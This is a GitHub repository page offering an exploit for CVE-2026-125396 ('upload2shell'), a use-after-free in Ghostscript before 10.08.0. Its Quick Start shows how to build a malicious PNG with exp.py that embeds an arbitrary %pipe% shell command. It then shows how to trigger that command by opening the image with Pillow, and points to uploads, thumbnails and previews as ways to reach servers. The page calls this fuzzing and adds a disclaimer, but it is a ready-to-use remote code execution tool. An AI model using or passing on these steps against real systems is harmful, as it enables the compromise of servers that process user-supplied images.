Skip to content

About

CVE-2026-125396(upload2shell) exploit

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

 
 

Latest commit

 

History

8 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

CVE-2026-125396

Python CVE Static Badge

Referer: https://pwn.ai/upload2shell/research.html

Scope: Ghostscript < 10.08.0

A fuzzing-enabled version of upload2shell; supports fuzzing on 64-bit LP64, other architectures are not covered.

TL;DR

This is a logical UAF, address-independent, so you can prebuild a fuzz image that can fuzz a large number of versions at once. That is what makes it a bit like 24shell.

Similar to the Log4j approach: image/document uploads, thumbnails, printing, preview/import, etc. are all fuzz surfaces; if the backend uses Ghostscript, it can be hit.

Attack Chain

image

Quick Start

# Generate the fuzz image: --cmd controls the %pipe% command; quote it to prevent the shell from treating > as redirection
python3 exp.py --cmd 'id>/tmp/PWN' --out /tmp/exp.png

# Load and trigger
echo 'from PIL import Image
with Image.open("/tmp/exp.png") as image:
    image.load()' | python3

cat /tmp/PWN
# uid=1000(debian) gid=1000(debian) ....

Authorized for technical research only. The author assumes no responsibility for any consequences.

About

CVE-2026-125396(upload2shell) exploit

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages